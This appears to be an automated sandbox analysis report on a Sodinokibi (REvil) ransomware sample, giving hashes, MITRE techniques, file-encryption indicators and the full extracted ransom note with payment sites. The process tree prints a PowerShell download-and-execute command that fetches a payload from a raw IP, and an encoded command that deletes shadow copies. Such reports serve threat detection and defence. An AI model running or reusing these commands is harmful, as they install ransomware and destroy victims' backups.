sodinokibi | 9f5a1dc3b6de60187465045347cd822a1442279e6d75aa5b8e08bfe8811619c4

General

Target

671ad8514649a9e90db4be04050939fc.bat
Size

222B
MD5

ae3b86ee141489a333cd5b79879ce5fb
SHA1

59fcd2d5b1dc48ea3a135a908d2342f41801c748
SHA256

9f5a1dc3b6de60187465045347cd822a1442279e6d75aa5b8e08bfe8811619c4
SHA512

08e7101feb1b8fcc3e48a3b6586279038d039490a198bbfa3c71acfb6c020b917a5941517376d1f7518f8e28b810f871c0401ad2aa0dc5ff86c522a18973d6c7

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/671ad8514649a9e90db4be04050939fc

Extracted

Path

C:\606xjwojaa-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 606xjwojaa. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/6AD7DD90AE53F818 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/6AD7DD90AE53F818 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: h4SqNk49uVRBWAsn94RVBGk48n/7fvny0amd6DjLgFpJISFY8F89pYemuuFX+JnK cYCzdpAZZLTRX+WZLM8meAiyBKS/WSeFyx9+wTlgZMIyDdmODy+ot0m8G2IMB7YH C4G7hBzbkSanBBZVw+qUkUwOtcwGpztMcjg9TGYAauz/4ButaPk8O7+DNvqSGoiN nKrPhI3BFmX3BI2v+EBrEKhClgFoMd+fwMQdv582FtFITBVTRjQNY163YXDhHcpv 0ZO5wSxlqwKXZ6sZt/AVrRr/XL+xO91Mlyvy42NruRtraLr8yaDbh+gUYT2JL/4x wETrMN/AN06ZBgujyDGkwichip8yWCMHsI6OHl36D6SScK9AoX5jmvmsQU9G4i8H GzXeaad2/yrVZY57D43LejxfCIN0YDqHiyRlYzXqIUW3x0f15/6IP65wElgLS3gP 5QVq0kqQ9JlHqKYvvfXJlU5BnFDR5NxrtXy7LlDJfjeIsTdXGCsILIylZBUVE3+j 1UR3iX/rVT/95XcgTxsIyo9VE5teJvFvNpN0Om6QBfpRmU2KmqQVS68W6wxR0Qe+ NnZKafXoV2x9jbtVKarzb3OVltILNyBaQdwTL71xTe8JoU1IgWB+P4BdeHgRD4i6 LVtFY/UWvDDmQNpZgvPcUOeZnuUFCqX2AIxaspd88IFNwAeSVeCrZHOm5FOYgnDi s21a1aD2vKHE8yWB8CJvxzjE9rILzU2hMRCuFOl+jTsjHT3T63s3PvS0JyAn9L2B nezR5amxjDGy6rDmi2MVNFg+mOWTF9k6W3K4f49m481z3Oo5n8dFj0uQDPqlqcZt FKjc8ZhaOHZxdRnciQsJAmzDG7iUxghxdCRDCpJsrePs/6duo2zbxI06Yxz3tfIA mjTGDr7G5NgmW95wqqroDx9lhOu8JtUpUXcYq1r4uyjqGo5+Eu79tnC9bJhlOOTE 7Cvyr51zZpvaK2fuFdQz5l0dL24+t2ICqTPbM0lGso5i1bUtmmPEBJF2bokck1gY Ni53uQcITOYWtDrMYxpRhRHhhEZFX1XWKTwfqKJP50fRtnsQC1KmvP8N/hKrsEr1 W9bCSB+YTFvCtuWCLpeaEKHgGRG6hvk5eP1WM7mDRNrTZP37fw8f41jRvjAvR5+L XvHenhpFAbtt0FSgjvnjMPe/YgtCefU4jSlgq13k1QPgymfG8Qp5acHIxbRDsBCk m+ALOuhV4JjAwdaoXg/aSLKoTrAu+3enZogMXyDDNZW9wUQ5wAjh0vG80S0P8Lf6 N432LDlsdVDp127nOCNcPnrVlwemjpdA ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/6AD7DD90AE53F818

http://decryptor.cc/6AD7DD90AE53F818

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

1 3792 powershell.exe

flow	pid	process
1	3792	powershell.exe

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\StartFormat.crw => \??\c:\users\admin\pictures\StartFormat.crw.606xjwojaa	powershell.exe
File renamed	C:\Users\Admin\Pictures\SwitchReset.png => \??\c:\users\admin\pictures\SwitchReset.png.606xjwojaa	powershell.exe
File renamed	C:\Users\Admin\Pictures\SuspendGet.tif => \??\c:\users\admin\pictures\SuspendGet.tif.606xjwojaa	powershell.exe
File renamed	C:\Users\Admin\Pictures\WriteProtect.tif => \??\c:\users\admin\pictures\WriteProtect.tif.606xjwojaa	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\ProtectUnblock.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\ProtectUnblock.tiff => \??\c:\users\admin\pictures\ProtectUnblock.tiff.606xjwojaa	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\9b3c.bmp"	powershell.exe

Drops file in Program Files directory 25 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\BackupUnblock.fon	powershell.exe
File opened for modification	\??\c:\program files\CopyWait.m4a	powershell.exe
File opened for modification	\??\c:\program files\LockComplete.sql	powershell.exe
File opened for modification	\??\c:\program files\RenameDeny.dxf	powershell.exe
File opened for modification	\??\c:\program files\SearchReceive.m3u	powershell.exe
File opened for modification	\??\c:\program files\UnregisterMeasure.3gp	powershell.exe
File created	\??\c:\program files (x86)\606xjwojaa-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\HideResolve.jfif	powershell.exe
File opened for modification	\??\c:\program files\ReadConvert.png	powershell.exe
File opened for modification	\??\c:\program files\UnregisterEnable.mp2v	powershell.exe
File opened for modification	\??\c:\program files\WriteHide.wpl	powershell.exe
File opened for modification	\??\c:\program files\DisconnectSplit.sql	powershell.exe
File opened for modification	\??\c:\program files\NewGrant.pdf	powershell.exe
File opened for modification	\??\c:\program files\RestartDisable.vsdx	powershell.exe
File opened for modification	\??\c:\program files\ResumeExpand.easmx	powershell.exe
File opened for modification	\??\c:\program files\SplitSync.vdx	powershell.exe
File created	\??\c:\program files\606xjwojaa-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ExitSearch.rar	powershell.exe
File opened for modification	\??\c:\program files\HideSearch.ADTS	powershell.exe
File opened for modification	\??\c:\program files\MoveConvertFrom.html	powershell.exe
File opened for modification	\??\c:\program files\RegisterSkip.vstm	powershell.exe
File opened for modification	\??\c:\program files\ResolveStep.mp4	powershell.exe
File opened for modification	\??\c:\program files\SubmitRestore.DVR-MS	powershell.exe
File opened for modification	\??\c:\program files\TraceResume.avi	powershell.exe
File opened for modification	\??\c:\program files\UnregisterReset.dib	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exe

pid	process
3792	powershell.exe
3792	powershell.exe
3792	powershell.exe
3792	powershell.exe
3792	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeBackupPrivilege	3568	vssvc.exe
Token: SeRestorePrivilege	3568	vssvc.exe
Token: SeAuditPrivilege	3568	vssvc.exe
Token: SeTakeOwnershipPrivilege	3792	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 3888 wrote to memory of 3792	3888	cmd.exe	powershell.exe
PID 3888 wrote to memory of 3792	3888	cmd.exe	powershell.exe
PID 3888 wrote to memory of 3792	3888	cmd.exe	powershell.exe
PID 3792 wrote to memory of 3164	3792	powershell.exe	powershell.exe
PID 3792 wrote to memory of 3164	3792	powershell.exe	powershell.exe
PID 3792 wrote to memory of 3164	3792	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\671ad8514649a9e90db4be04050939fc.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3888

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/671ad8514649a9e90db4be04050939fc');Invoke-BLPXTQOPGQRVCUQ;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3792

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3164

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:3568

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

memory/3164-13-0x0000000000000000-mapping.dmp

Download
memory/3164-27-0x0000000009820000-0x0000000009821000-memory.dmp

Filesize
4KB

Download
memory/3164-26-0x00000000091B0000-0x00000000091B1000-memory.dmp

Filesize
4KB

Download
memory/3164-24-0x0000000009250000-0x0000000009251000-memory.dmp

Filesize
4KB

Download
memory/3164-14-0x00000000734A0000-0x0000000073B8E000-memory.dmp

Filesize
6.9MB

Download
memory/3792-8-0x0000000006F80000-0x0000000006F81000-memory.dmp

Filesize
4KB

Download
memory/3792-6-0x0000000006FB0000-0x0000000006FB1000-memory.dmp

Filesize
4KB

Download
memory/3792-7-0x00000000077A0000-0x00000000077A1000-memory.dmp

Filesize
4KB

Download
memory/3792-0-0x0000000000000000-mapping.dmp

Download
memory/3792-9-0x0000000007E90000-0x0000000007E91000-memory.dmp

Filesize
4KB

Download
memory/3792-10-0x0000000007EE0000-0x0000000007EE1000-memory.dmp

Filesize
4KB

Download
memory/3792-11-0x00000000095A0000-0x00000000095A1000-memory.dmp

Filesize
4KB

Download
memory/3792-12-0x0000000008B10000-0x0000000008B11000-memory.dmp

Filesize
4KB

Download
memory/3792-5-0x0000000006DF0000-0x0000000006DF1000-memory.dmp

Filesize
4KB

Download
memory/3792-4-0x0000000006C90000-0x0000000006C91000-memory.dmp

Filesize
4KB

Download
memory/3792-3-0x0000000007070000-0x0000000007071000-memory.dmp

Filesize
4KB

Download
memory/3792-2-0x0000000000EB0000-0x0000000000EB1000-memory.dmp

Filesize
4KB

Download
memory/3792-1-0x00000000734A0000-0x0000000073B8E000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads